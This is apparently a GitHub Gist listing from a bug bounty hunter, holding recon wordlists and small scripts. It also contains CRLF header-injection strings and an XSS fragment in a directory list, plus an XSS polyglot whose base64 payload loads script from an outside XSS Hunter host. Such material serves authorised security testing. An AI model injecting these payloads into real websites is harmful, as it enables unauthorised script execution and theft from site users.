Nenad Zaric ntrzz

https://hackerone.com/destruction

Recently created

Least recently created

Recently updated

Least recently updated

ntrzz / alt-words.txt

Created September 25, 2019 19:46

	admin
	dev
	api
	test
	aws
	beta
	alpha
	bucket
	staging
	development

ntrzz / dirs.txt

Created September 23, 2019 21:24

	!access_setup.asp
	!capcha.php
	!mssql_setup.asp
	!mysql_setup.asp
	!setup.asp
	";alert(0);//
	%%0A0AHeader-Test:BLATRUC
	%0A%20Header-Test:BLATRUC
	%0AHeader-Test:BLATRUC
	%0D%0A%09Header-Test:BLATRUC

ntrzz / burp-async.py

Created July 10, 2019 12:20

Async Parallel HTTP GET requests through Proxy

	#!/usr/bin/env python
	from multiprocessing.pool import ThreadPool
	from time import time as timer
	import requests



	with open('domains.txt') as f:
	content = f.readlines()
	urls = [x.strip() for x in content]

ntrzz / XSSHunter-Polyglot

Created November 1, 2018 11:04

jaVasCript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" oNmouseoVer=/*<svg/*/oNloAd=eval(atob('dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veHh4eC54c3MuaHQiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7'))//>

ntrzz / urlscan-cli

Created September 10, 2018 21:48

	import requests
	import json
	import time

	def main():
	with open("domainz.txt", 'r+') as f:
	content = f.readlines()
	for c in content:
	time.sleep(1)
	r = requests.get("https://urlscan.io/api/v1/search/?q=domain:{}".format(c))

ntrzz / linkfinder-oneliner.sh

Last active January 21, 2023 10:12

curl -s $1 | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*" | sort | uniq | grep ".js" > jslinks.txt; while IFS= read link; do python linkfinder.py -i "$link" -o cli; done < jslinks.txt | grep $2 | grep -v $3 | sort -n | uniq; rm -rf jslinks.txt